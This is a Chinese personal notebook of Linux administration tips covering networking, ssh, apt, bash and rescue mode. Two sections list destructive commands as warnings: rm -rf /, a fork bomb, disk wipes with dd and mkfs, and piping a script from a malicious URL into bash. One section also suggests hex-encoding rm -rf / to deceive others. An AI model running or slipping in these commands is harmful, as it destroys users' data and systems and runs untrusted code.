- 1.CentOS最小化安装无法上网
- 2. sudo cd ?
- 3. 关于Shell脚本执行权限
- 4. 彻底卸载软件
- 5. 自爆
- 6. 文件格式转换
- 7. touch更新时间戳
- 8. find和cpio
- 9. unmount
- 10. shell特殊符号
- 11. 查看pid和该进程的环境变量
- 12. ssh 报Permission denied (publickey).
- 13. AMP环境配置好后php的mysql函数未定义
- 14. 配置网卡
- 15. msf对PostgreSQL数据库的密码
- 16. 查看版本
- 17. bash 相关
- 18. 救援模式(单用户模式) & 紧急模式
- 19. 网桥相关
- 20. 打不开图形化(登录后又提示登录)
- 21. 清除过期的ssh公钥
- 22. 憨批操作
- 23. Ubuntu安装指定版本软件
- 24. 检查端口和进程
- 25. apt update 提示NO_PUBKEY
- 26. sudo报错
- 27. ln命令
- 28. %U
- 29. VMware无法使用独立显卡启动
- 30. Ubuntu18.04网络
- 31. dpkg lock
- 32. ssh 报Permission denied (publickey).
1.CentOS最小化安装无法上网
centOS最小化安装之后无法联网重置多次后,装了一个带桌面环境的,发现,需要手动打开网络连接。于是,我感觉应该是,最小化安装后也应该使用命令行激活网络连接
- 通过搜索
找到启动和禁用网卡的有关指令为
ifup、ifdown
以及ifconfig
但是并不能用,提示找不到命令 - 再次搜索
找到手动打开网卡的方法
百度经验- 首先查看本机是否分配IP
ip addr
:其中2为本机网卡名称 - 进入网卡配置文件目录
cd /etc/sysconfig/network-scripts/
- 查看网卡文件,找到对应网卡
- 编辑网卡文件
vi ifcfg-[name]
- 找到
ONBOOT=no
改为yes
- 执行
service network restart
重启网卡服务 - 再次执行
ip addr
查看是否分配了ip,若分配即为成功
- 首先查看本机是否分配IP
- 至于ifconfig命令
- 执行
yum provides ifconfig
查找哪个包提供了ifconfig
命令,可以看到是net-tools-XXXXXXXXXXXXX
包提供了ifconfig包 - 执行
yum install net-tools
安装该包 - 再次执行
ifconfig
发现可用
- 执行
2. sudo cd ?
- 使用
sudo cd
提示找不到此命令 - 通过
type cd
可以看到cd
为shell内建(buildin)命令,也就是说cd
是shell(默认为bash)提供的操作,不是系统自带的
确实,无论是在
bin
还是sbin
中都没有cd
命令
- 什么是
sudo
?- 是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具
- 这里边的命令就是指在
sbin
中的
3. 关于Shell脚本执行权限
shell脚本需要r
和x
的权限才能执行
4. 彻底卸载软件
apt-get --purge remove
apt-get autoclean
删除过期的软件包
5. 自爆
rm -rf /
可以转化成16进制的迷惑别人mkfs.ext3 /dev/sda
对指定磁盘进行格式:(){ :|:& };:
循环执行echo uSB > /dev/sda
使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。mv /home/yourhomedirectory/* /dev/null
把主目录删了chmod 777 -R /
权限设置混乱dd if=/dev/zero of=/dev/sda bs=1K count=100
用0填充MBR和磁盘分区表
6. 文件格式转换
Windows(DOS)下和Linux下的换行字符不同,可通过dos2unix
进行转换
7. touch更新时间戳
touch
用来创建一个空文件(前提是没有这个文件时),如果已经有同名文件的话,仅更新时间戳- 可以根据这一特性,实现差异化自动备份?
8. find和cpio
find常用格式find 路径 -name 文件名
cpio
通过管道备份find /etc -name *.conf | cpio -cov > /tmp/confi.cpio
;还原:cpio --absolute-filename -icvu < /tmp/conf.cpio
9. unmount
unmount
命令用来卸载挂载的设备,unmount 原始设备
和unmount 挂载点
的效果是一样的,都是卸载同一个设备
10. shell特殊符号
变量名 | 含义 |
---|---|
$0 | shell或shell脚本的名字 |
$* | 以一对双引号给出参数列表 |
$@ | 将各个参数分别加双引号返回 |
$# | 参数的个数 |
$_ | 代表上一个命令的最后一个参数 |
$$ | 代表所在命令的PID |
$! | 代表最后执行的后台命令的PID |
$? | 代表上一个命令执行后的退出状态 |
11. 查看pid和该进程的环境变量
- 查看pid
pgrep 进程名
- 查看环境变量
cat /proc/YourPID/environ
环境变量返回的值以
name=value
描述,每个变量之间有null
间隔( )
为了好看cat /proc/YourPID/environ | tr ' ' ' '
- 对于某些环境变量的修改,一定要保留原有的值,比如PATH
PATH="$PATH:Your_PATH"
12. ssh 报Permission denied (publickey).
-
根据报错可以判断是没有公钥
-
但是我这个SSH服务并没有建立公钥,所以是登录权限的问题
-
在配置文件中修改**PasswordAuthentication **
PasswordAuthentication yes #允许通过密码认证
13. AMP环境配置好后php的mysql函数未定义
- Apache没有正确重启(可能是个别版本的问题)
- 先stop,再start,不要直接restart
14. 配置网卡
- 网卡配置文件:
/etc/network.interfaces
- 重启网卡:
# /etc/init.d/networking restart
- 打开数据包路由转发功能:修改
sysctl.conf
文件,将net.ipv4.ip_forward = 1
注释取消 - 设置转发规则:
iptables -t nat -A POSTROUTING -s 接收地址 -o 要转到的接口 -j MASQUERADE
Ubuntu17之后使用netplan代替了原有的interfaces
:配置文件存放在/etc/netplan/*.yaml
( 冒号之后要有一个空格 ),配置完之后使用netplan apply
生效
# 静态IP
network:
version: 2
renderer: NetworkManager
ethernets:
enp3s0: #配置的网卡名称,使用ifconfig -a查看得到
dhcp4: no #dhcp4关闭
addresses: [192.168.202.36/24] #设置本机IP及掩码
gateway4: 192.168.202.1 #设置网关
nameservers:
addresses: [192.168.202.1] #设置DNS
# 动态IP
network:
version: 2
renderer: NetworkManager
ethernets:
enp3s0: #配置的网卡名称,使用ifconfig -a查看得到
dhcp4: true #dhcp4开启
addresses: [] #设置本机IP及掩码,空
optional: true
- ifconfig 临时配置网卡
# 配置 IP 地址和掩码
$ ifconfig eth0 192.168.16.234 netmask 255.255.255.0
#设置网关
$ route add default gw 192.168.16.1
- ifconfig设置网卡混杂模式
# 设置混杂模式
ifconfig ens32 promisc
# 取消混杂模式
ifconfig ens32 -promisc
15. msf对PostgreSQL数据库的密码
- 在
/opt/metasploit/properties.ini
中
16. 查看版本
cat /proc/version
uname -a
lsb_release -a
cat /etc/issue
17. bash 相关
- 变量的设定规则:
- 设定变量通过
=
来连接,=
左右不能有空格 - 变量名只能是英文开头
- 如果变量内容需要引号括起来,
单引号
和双引号
是有区别的- 双引号中的转义符,就是转义后的特性
- 单引号中的转义字符,只是单纯的字符
- 特殊字符使用
来转换为一般字符
- 使用
"
括起来的命令会先执行,等价于$()
- 定义数组:
var[index]=content
- 设定变量通过
- 给原有变量添加值时,需要引用原有变量,再加具体内容
var=$var"NewVar"
- 变量有两种类型:普通字符串、整数
- 使用
declare [-axir] variable
命令设置变量类型a:定义为数组
x:设置为环境变量
i:设置为整形
r:设置为只读
后面不接变量:表示显示相应类型的变量,类型缺省则为全部变量
- 使用
- 删除变量:
unset 变量名
- 查看变量:
echo $变量名
env
查询环境变量set
查询shell的变量(私有变量和用户变量)export
导出用户shell变量
18. 救援模式(单用户模式) & 紧急模式
以Ubuntu18 为例:
- 紧急模式:在紧急模式中不启动任何东西,没有服务启动、没有挂载点、没有套接字,只有一个原始的shell。紧急模式适用于调试目的。
- 救援模式:相当于使用SysV 作为服务管理器的Linux发行版中的 单用户模式。在救援模式下,将挂载所有本地文件系统,启动一些重要服务。
进入救援模式:
方法一:
- 在Grub菜单中编辑Ubuntu启动选项
- 在
linux
开头的一行中,末尾追加systemd.unit=rescue.target
- 保存启动即可
方法二:
- 在Grub的
Advanced options for Ubuntu
选项中找到(recovery mode)
- 按
e
编辑,在linux
开头的一行末端,将ro recovery nomodeset
改为rw single init=/bin/bash
方法三:
- 启动时选择
recovery mode
- 在Recovery Menu中选择
Root Drop to root shell prompt
进入紧急模式
- 在Grub菜单中编辑Ubuntu启动选项
- 在
linux
开头的一行中,末尾追加systemd.unit=emergency.target
- 保存启动即可
修改密码
- 挂载主分区
mount /dev/sda1 /mnt
- 切换到主分区
chroot /mnt
- 修改密码
passwd
- 退出临时分区
exit
- 卸载挂载的分区
umount /mnt
- 重启!
将文件系统重新挂载成读/写模式:mount -n -o remount,rw /
关于无法进入grub的情况
双系统情况下默认会显示Grub选择菜单,但是单Ubuntu主机可能会自动跳过Grub菜单。
解决方案:启动过程中按住Shift
键即可。
关于救援模式和紧急模式:
- 救援模式相当于使用 SysV 作为默认的服务管理器的 Linux 发行版中的单用户模式。在救援模式下,将挂载所有本地文件系统,仅启动一些重要服务,但是,不会启动正常服务(例如网络服务)。
- 紧急模式中不启动任何东西。没有服务启动、没有挂载点、没有建立套接字,什么也没有,你所拥有的只是一个原始的 shell。紧急模式适用于调试目的。
19. 网桥相关
-
相关软件:安装
bridge-utils
-
查看网桥信息
brctl show
-
route
命令解释,route
命令运行后会显示如下表格,每一行为每一个路由规则,如果Gateway
一栏为*
,则将数据包发送给Iface
对应接口
|Destination|Gateway|Genmask|Flags|Metric|Ref|Use|Iface|
|--------|-------|-------|-------|-------|-------|-------|-------|
|default|10.0.2.2|0.0.0.0|UG|0|0|0|eth0|
|10.0.2.0||255.255.255.0|U|0|0|0|eth0|
|172.17.0.0||255.255.0.0|U|0|0|0|docker0| -
通过
ethtool -S vethXXXXXX
可以查看到docker申请的虚拟设备对应的接口序号 -
在docker容器中可以通过
ip link
查看到对应接口序号所指向的设备
20. 打不开图形化(登录后又提示登录)
Ctrl + Alt + F7
或者在终端下输入init 5
进入图形化
查看.Xauthority
文件是否存在并赋权
(.Xauthority
文件的位置 如果是root用户登入文件在 /root
目录下,如果是其他用户 文件 位置 /home/XXX/.Xauthority
)
cd ~
ls -al # 查看Xauthority是否存在
startx # 会自动生成Xauthority文件
sudo chown root:root .Xauthority # 将该文件赋予用户
21. 清除过期的ssh公钥
ssh-keygen -R 指定目标
22. 憨批操作
rm -rf
不多说:(){:|:&};:
fork炸弹命令 > /dev/sda
将输出重定向到sda中,导致sda中数据丢失mv 文件(夹) /dev/null
删除wget(curl) 恶意网址 | bash
从恶意网址上下载bash脚本并执行(网址上托管纯文本就行)mkfs.ext3 /dev/sda
格式化> 文件
清空指定文件dd if=/dev/random of=/dev/sda
将垃圾数据覆写入sda
23. Ubuntu安装指定版本软件
sudo apt-get install openssh-client=1:6.6p1-2ubuntu1
安装的是 1:6.6p1-2ubuntu1 的 openssh-clientsudo apt-cache madison openssh-client
列出仓库中openssh-client的版本
24. 检查端口和进程
- 检查端口对应的程序:
lsof -i:端口号
- 检查程序执行目录:
pwdx <PID>
25. apt update 提示NO_PUBKEY
使用apt update
时报错如下:
Fetched 22.0 MB in 4s (4,802 kB/s)
Reading package lists... Done
Building dependency tree
Reading state information... Done
378 packages can be upgraded. Run 'apt list --upgradable' to see them.
W: GPG error: http://security.debian.org buster/updates InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY AA8E81B4331F7F50 NO_PUBKEY 112695A0E562B32A
解决方案:(Debian和ubuntu都可以使用ubuntu的证书服务器)
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys AA8E81B4331F7F50
26. sudo报错
使用sudo报错:sudo: sorry, you must have a tty to run sudo
编辑/etc/sudoers
文件,注释掉Default requiretty
27. ln命令
- 不加参数的就是 硬链接
- 硬链接就是同一个文件使用了多个别名,只有当文件存在时才可创建硬链接
- 软链接与硬链接不同,若文件用户数据块中存放的内容是另一文件的路径名的指向,则该文件就是软连接。
28. %U
比如一个图标应用,名称为fd.desktop
文件内容里写
exec=fdisk %u
当你使用
fd.desktop -l的时候,相当于fdisk -l
29. VMware无法使用独立显卡启动
错误提示:"$BINDIR"/vmware-modconfig --appname="VMware Workstation" --icon="vmware-workstation"
Arch给出的原因是,Intel微码版本过老
Debian没有新的
30. Ubuntu18.04网络
18.04 启用了新的方法配置网络——netplan
使用networkctl查看网卡
配置文件嘛……懒得打了
31. dpkg lock
E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable)
有其他程序在占用apt
通过 ps afx|grep apt 找到正在使用的进程,将其杀掉
释放被锁定文件
$ sudo rm /var/lib/dpkg/lock
$ sudo dpkg --configure -a
$ sudo apt update
32. ssh 报Permission denied (publickey).
-
根据报错可以判断是没有公钥
-
但是我这个SSH服务并没有建立公钥,所以是登录权限的问题
-
在配置文件中修改**PasswordAuthentication **
PasswordAuthentication yes #允许通过密码认证